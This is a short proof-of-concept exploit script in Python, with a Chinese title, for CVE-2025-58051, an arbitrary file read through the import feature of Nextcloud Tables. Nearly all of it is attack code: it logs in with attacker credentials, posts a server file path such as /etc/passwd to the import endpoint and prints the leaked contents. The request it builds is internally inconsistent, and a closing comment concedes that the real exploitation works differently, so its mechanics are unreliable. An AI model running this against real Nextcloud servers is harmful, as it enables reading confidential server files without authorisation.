CVE-2025-58051 Nextcloud Tables 表格导入文件读取漏洞

# CVE-2025-58051 PoC - Nextcloud Tables Arbitrary File Read via Import # Vulnerability: Information disclosure through table import functionality # Affected: Nextcloud Tables < 0.7.6, < 0.8.8, < 0.9.5 import requests # Configuration TARGET_URL = "https://target-nextcloud-instance.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" TARGET_FILE = "/etc/passwd" # File to read from server (must be parseable by PhpSpreadsheet) # Step 1: Authenticate to Nextcloud session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "user": USERNAME, "password": PASSWORD } session.post(login_url, data=login_data) # Step 2: Get the Tables app endpoint and CSRF token # Navigate to the Tables app to establish session context tables_url = f"{TARGET_URL}/index.php/apps/tables/" response = session.get(tables_url) # Step 3: Exploit the import functionality # The import endpoint accepts a file path parameter # By specifying a server file path, we can read arbitrary files import_url = f"{TARGET_URL}/index.php/apps/tables/api/1/import" # Craft the import request with the target file path import_data = { "path": TARGET_FILE, # Path traversal - point to server file "format": "auto" # Let PhpSpreadsheet auto-detect format } # Alternative: Use multipart form data with file upload files = { "file": ("import.xlsx", open("/dev/null", "rb"), "application/octet-stream") } # Send the import request response = session.post(import_url, data=import_data, files=files) # Step 4: Parse the response to extract leaked file content if response.status_code == 200: print("[+] File content leaked successfully:") print(response.json()) else: print(f"[-] Request failed with status: {response.status_code}") print(response.text) # Note: The actual exploitation involves modifying the import request # to reference server-side file paths instead of uploaded files. # When PhpSpreadsheet parses a supported file format, its contents # are returned as table data, effectively leaking the file content.